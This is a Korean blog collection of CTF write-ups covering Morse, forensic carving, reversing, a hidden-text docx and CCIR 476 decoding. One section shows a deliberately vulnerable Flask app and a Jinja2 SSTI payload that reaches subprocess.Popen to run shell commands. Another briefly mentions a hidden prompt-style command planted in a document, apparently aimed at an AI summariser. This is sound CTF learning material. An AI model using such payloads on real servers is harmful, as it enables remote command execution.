파일을 받아보면 pcapng 파일이다.

TCP 따라가기를 해보면,

이상하게 반복되는 값들이 나온다.

뭐지.. 하고 고민하다가 일단 문자로 바꿔볼까 하고 바꿔보았다.

print(chr(0x2e))  
print(chr(0x2d))

 

실행결과:

.
-

!! 점(dot, .)과 바(bar, -)였다. 보자마자 모스부호가 바로 생각났다.

그래서 바꿔보니(파이썬 코드로 바꿨다)

morse = list(input().split())  
decode_morse = []  

for m in morse:  
    one_word = []  
    for i in range(0, len(m), 2):  
        tmp = int(m[i] + m[i+1], 16)  
        tmp = chr(tmp)  
        one_word.append(tmp)  
    decode_morse.append(one_word)  

for m in decode_morse:  
    for w in m:  
        print(w, end="")  
    print()

 

실행결과(와이어샤크로 나온 값 입력 값으로 줌):

..
--...
.----.
...
..--.-
--
-----
.-.
...
.
..--.-
-.-.
-----
-..
.
-.-.--

모스 부호 표를 참고하여 해독해보면,

I7'S_M0RSE_C0DE!

 

FLAG: 3S{I7'S_M0RSE_C0DE!}

 

 

P.S)
생각해보니 문제 제목이 '돈돈돈 쓰쓰쓰 돈돈돈'인 것도,
... --- ... = SOS 였던 것이다.

'CTF > 3SCTF2024' 카테고리의 다른 글

3SCTF2024) DUM DUM :P 포렌식 문제  (0) 2024.07.28
3SCTF2024) Find Spade 리버싱 문제  (0) 2024.07.28

파일을 받아보면 dump.bin 파일이 있다.

HxD로 열어보면

여러 파일들이 섞여 있는 듯 하다.

foremost를 사용해 보았다.

 

foremost -t all -i dump.bin

 

해보니,

이런 것 뿐이었고... 플래그가 아니었다.

엥 말이 안되는데 하면서 다시한번 HxD를 봤다.

IEND라는 문자열로 검색하다가 우연히 7z 파일 시그니처를 보았다.

!! 7z도 있네 하면서 저 파일 부분 바이트를 따로 새로 복붙해서 파일을 만들었다.

7z 파일 안에는 txt 파일 여러개가 존재했다.
저 중에서 diye.txt에 플래그가 존재했다.

 

FLAG: 3S{EA5Y_DUMP_F1L3_G00D_:P}

'CTF > 3SCTF2024' 카테고리의 다른 글

3SCTF2024) 돈돈돈 쓰쓰쓰 돈돈돈 MISC문제  (0) 2024.07.28
3SCTF2024) Find Spade 리버싱 문제  (0) 2024.07.28

일단 저 스페이드 문자는 실제로 유니코드 값으로 0x2660이다.
그리고 아래 식들을 보면, 한 줄당 하나의 알파벳의 값을 구할 수 있음을 알 수 있다.
그리고 Flag는 해당 알파벳들을 순서대로 나열하고 아스키 코드값으로 바꾸면 된다는 것을 명시해 놓았다.

그래서 차례대로 알파벳을 계산해 보면(아래 파이썬 코드로 계산시켰다)

i = 1  
cnt = 0  
alphabets = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]  

while cnt < 7:  
    if i + 0x25eb == 0x2660:  
        alphabets[0] = i  
        cnt += 1  
    if 0x2674 - i == 0x2660:  
        alphabets[1] = i  
        cnt += 1  
    if 0x26d1 - i == 0x2660:  
        alphabets[2] = i  
        cnt += 1  
    if (i * 0x72) - 0xf10 == 0x2660:  
        alphabets[3] = i  
        cnt += 1  
    if  0x200 * (i >> 1) + 0x1460 == 0x2660:  
        if not alphabets[5]:  
            alphabets[5] = i  
            cnt += 1  
    if 0x75 * (i << 4) - 0x34720 == 0x2660:  
        alphabets[6] = i  
        cnt += 1  
    if (i + 3) ^ 0x2635 == 0x2660:  
        alphabets[8] = i  
        cnt += 1  

    i += 1  

i = 1  
while cnt < 10:  
    if 0x25 * (i - alphabets[1]) + 0x195e == 0x2660:  
        alphabets[4] = i  
        cnt += 1  
    if alphabets[2] + i + 0x258e == 0x2660:  
        alphabets[7] = i  
        cnt += 1  
    if (i ^ alphabets[0]) + 0x2644 == 0x2660:  
        alphabets[9] = i  
        cnt += 1  
    i += 1  

for a in alphabets:  
    print(chr(a), end=" | ")  
    print(a)

 

실행결과 :

u | 117
 | 20
q | 113
x | 120
n | 110
 | 18
x | 120
a | 97
R | 82
i | 105

?? 뭔가 말도 안되는 값들이 나온다. 그리고 이건 플래그가 아니었다.

일단 이건 리버싱 문제니까. 해당 exe파일을 리버싱해보았다. (기드라로 열었다)

int __cdecl _main(int _Argc,char **_Argv,char **_Env)

{
  HANDLE pvVar1;
  WCHAR local_96 [15];
  int local_78 [25];
  int local_14;
  int *local_c;

  local_c = &_Argc;
  ___main();
  _setlocale(0,"");
  local_78[0] = 0x1080;
  local_78[1] = 0x2a00;
  local_78[2] = 0x2900;
  local_78[3] = 0x2c80;
  local_78[4] = 0x2f80;
  local_78[5] = 0x2c00;
  local_78[6] = 0x1800;
  local_78[7] = 0x2900;
  local_78[8] = 0x2f80;
  local_78[9] = 0x1800;
  local_78[10] = 0x3c00;
  local_78[11] = 0x1900;
  local_78[12] = 0x1b80;
  local_78[13] = 0x1080;
  local_78[14] = 0;
  for (local_14 = 0; local_14 < 0xf; local_14 = local_14 + 1) {
    local_96[local_14] = (WCHAR)(local_78[local_14] >> 7);
  }
  pvVar1 = _CreateMutexW@12((LPSECURITY_ATTRIBUTES)0x0,0,local_96);
  if (pvVar1 != (HANDLE)0x0) {
    _wprintf(L"[+] ♠ == UNICODE(0x2660)\n\n");
    _wprintf(L"[?] A + 0x25eb == ♠\n");
    _wprintf(L"[?] 0x2674 - B == ♠\n");
    _wprintf(L"[?] 0x26d1 - C == ♠\n");
    _wprintf(L"[?] (D * 0x72) - 0xf10 == ♠\n");
    _wprintf(L"[?] 0x25 * (E - B) + 0x195e  == ♠\n");
    _wprintf(L"[?] 0x200 * (F >> 1) + 0x1460 == ♠\n");
    _wprintf(L"[?] 0x75 * (G << 4) - 0x34720 == ♠\n");
    _wprintf(L"[?] C + H + 0x258e == ♠\n");
    _wprintf(L"[?] (I + 3) ^ 0x2635 == ♠\n");
    _wprintf(L"[?] (J ^ A) + 0x2644  == ♠\n\n");
    _wprintf(L"[+] Flag: 3S{ASCII(ABCDEFGHIJ)}\n\n");
    _system("pause");
  }
  return (uint)(pvVar1 == (HANDLE)0x0);
}

보면 local_78 이라는 배열에 특정 값들을 담고 local_96에 변환하여 넣어준다. 그래서 해당 값들을 한번 출력해 보았다. (거의 걍 복붙하고 local_96만 출력해 본 것)

#include <stdio.h>
#include <stdlib.h>

#define WCHAR wchar_t

int main()
{
  WCHAR local_96 [15];
  int local_78 [25];
  int local_14;
  int *local_c;


  local_78[0] = 0x1080;
  local_78[1] = 0x2a00;
  local_78[2] = 0x2900;
  local_78[3] = 0x2c80;
  local_78[4] = 0x2f80;
  local_78[5] = 0x2c00;
  local_78[6] = 0x1800;
  local_78[7] = 0x2900;
  local_78[8] = 0x2f80;
  local_78[9] = 0x1800;
  local_78[10] = 0x3c00;
  local_78[11] = 0x1900;
  local_78[12] = 0x1b80;
  local_78[13] = 0x1080;
  local_78[14] = 0;
  for (local_14 = 0; local_14 < 0xf; local_14 = local_14 + 1) {
    local_96[local_14] = (WCHAR)(local_78[local_14] >> 7);
  }

  for(int i=0;i<0xf;i++) {
    wprintf(L"%c", local_96[i]);
  }

  return 0;
}

 

출력해 보면,

 

? 0x27로 XOR 연산을 해보라고 한다!!!

그래서 아까 짰던 파이썬 코드 부분에서 마지막에 XOR 연산만 추가해서 출력하면,

for a in alphabets:  
    print(chr(a ^ 0x27), end=" | ")  
    print(a)

 

결과:

R | 117
3 | 20
V | 113
_ | 120
I | 110
5 | 18
_ | 120
F | 97
u | 82
N | 105

 

FLAG : 3S{R3V_I5_FuN}

'CTF > 3SCTF2024' 카테고리의 다른 글

3SCTF2024) 돈돈돈 쓰쓰쓰 돈돈돈 MISC문제  (0) 2024.07.28
3SCTF2024) DUM DUM :P 포렌식 문제  (0) 2024.07.28


misc 분류의 문제이다. 파일을 받아보면 docx 파일 하나가 있다.

HxD에 넣어보고..
Zip파일로 바꿔서 보고..


? 이상한 점을 못찾겠다.
다시 문제를 읽고 생각해 보았다.
find the flag in this document...라고 했는데...
내용에 이상한게 있나??


... 쭉 보다가
이상하게 오타감지 밑줄이 있는 부분을 봤다.

? 뭐지 저기
하고 글씨 색깔을 바꿔보니...

!!! 뭐가 있다.
크기를 키워보자.

프롬프트에 뭐 명령어를 친거같은데.. 일단 주소가 있으니 주소로 가보자.

!!!!! 보아하니 base64로 인코딩 된 문자열인 거 같다.
바로 디코딩 해보자.

딱 봐도 flag인 부분이 있다. DUCTF{chatgpt_I_n33d_2_3scap3}

DUCTF{chatgpt_I_n33d_2_3scap3}

그게 정답이었다.

'CTF > DownUnderCTF2024' 카테고리의 다른 글

parrot the emu  (0) 2024.07.07
Intercepted Transmissions  (0) 2024.07.07


파일을 받아보면.


서버 폴더가 이렇게 있다고 한다.
안에 flag가 있다는 뜻.


사이트는 이렇게 생겼다.

app.py 코드를 보면

from flask import Flask, render_template, request, render_template_string  

app = Flask(__name__)  

@app.route('/', methods=['GET', 'POST'])  
def vulnerable():  
    chat_log = []  

    if request.method == 'POST':  
        user_input = request.form.get('user_input')  
        try:  
            result = render_template_string(user_input)  
        except Exception as e:  
            result = str(e)  

        chat_log.append(('User', user_input))  
        chat_log.append(('Emu', result))  

    return render_template('index.html', chat_log=chat_log)  

if __name__ == '__main__':  
    app.run(debug=True, port=80)

핵심은 render_template_string인데... 해당 함수를 처음본다.
그래서 검색했는데

  1. https://velog.io/@hunjison/Flask-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90
  2. https://www.igloo.co.kr/security-information/%EC%9B%B9-%ED%85%9C%ED%94%8C%EB%A6%BF-%EC%97%94%EC%A7%84-%EA%B8%B0%EB%B0%98%EC%9D%98-ssti-%EC%B7%A8%EC%95%BD%EC%A0%90-%EB%B6%84%EC%84%9D/

이 두개에서 {{ }} 관련한 취약점(Flask 프레임워크 관련)이 존재한다는 사실을 알 수 있었다.
공격 방식 또한 알 수 있었는데

{{"".__class__.__base__.__subclasses__()}}

로 서브 클래스의 목록을 출력하여

subprocess.Popen 클래스가 몇 번째인지 찾는다.


213번째임을 알 수 있다.

subprocess.Popen 함수는 첫 번째 참고자료에서 알 수 있었다.

{{ [].__class__.__mro__[-1].__subclasses__()[213]('cat flag',stdout=-1,stderr=-1,shell=True).communicate() }}

1번째 참고자료에서 작성된 페이로드를 약간만 수정하여 사용한 것이다.


그럼 cat flag 명령을 실행시키고 출력해준다.
flag는 위 사진에서 나온 것과 같다.

DUCTF{PaRrOt_EmU_ReNdErS_AnYtHiNg}

'CTF > DownUnderCTF2024' 카테고리의 다른 글

tldr please summarise  (0) 2024.07.07
Intercepted Transmissions  (0) 2024.07.07


쿼카들이 납치되었고.. 납치범들의 CCIR 476 통신 내용을 가로채었다고 한다. 해독해 달라는 문제.
첫 두 글자는 ##로 해석된다고 한다.

파일을 받아보면


이게 있고.
HxD에 넣어보면


2진수로 된 암호가 있음을 알 수 있다.
CCIR 476 통신이라고 했는데.. 도대체 뭐지 하고 검색해보니 문자열 인코딩 방법 중 하나라고 한다.


저 표와 위키백과를 참조해보니.. 해독 방법은
7 bit씩 자르고 표에 매치시키는 것이었다.

이진수로 보면은 눈알이 빠질거 같으니 hex값으로 바꿔서(파이썬으로 바꿈)
표에서 하나씩 읽어 보았다.


여기서 표와 매치할 때, LTRS / FIGS만 주의해서 보면 된다.

  • LTRS가 나오면 그 뒤로는 Letter Case에서 매치
  • FIGS가 나오면 그 뒤로는 Figure Case에서 매치

근데 문제에서 ##으로 시작한다고 했으니, 저기 표에서 Figure Case는 U.S. TTYs와 매치시키면 된다.

0x5a LTRS
0x36 FIGS
0x69 #
0x69 #
0x5a LTRS
0x74 T
0x69 H
0x36 FIGS
0x56 3
0x5c SP
0x5a LTRS
0x2e Q
0x4e U
0x36 FIGS
0x2d 0
0x5a LTRS
0x1e K
0x1e K
0x36 FIGS
0x55 4
0x4b BELL
0x5a LTRS
0x4b S
0x5c SP
0x47 A
0x55 R
0x36 FIGS
0x56 3
0x5c SP
0x5a LTRS
0x69 H
0x36 FIGS
0x56 3
0x5a LTRS
0x65 L
0x53 D
0x5c SP
0x36 FIGS
0x2e 1
0x5a LTRS
0x59 N
0x5c SP
0x1b F
0x36 FIGS
0x55 4
0x5a LTRS
0x1d C
0x36 FIGS
0x2e 1
0x5a LTRS
0x65 L
0x4d I
0x74 T
0x2b Y
0x5c SP
0x36 FIGS
0x69 #
0x2e 1
0x2e 1
0x71 9
0x2e 1
0x2e 1
0x1b !

(

와 눈알 빠지는줄 이진수 아닌데도

)
해서 한 줄로 써보면..

##TH3 QU0KK4S AR3 H3LD 1N F4C1LITY #11911!

이고 플래그는 DUCTF{}에 감싸주라고 했기에 정답은

DUCTF{##TH3 QU0KK4S AR3 H3LD 1N F4C1LITY #11911!}

"쿼카들은 시설 #11911에 갇혀 있어요!"

'CTF > DownUnderCTF2024' 카테고리의 다른 글

tldr please summarise  (0) 2024.07.07
parrot the emu  (0) 2024.07.07

+ Recent posts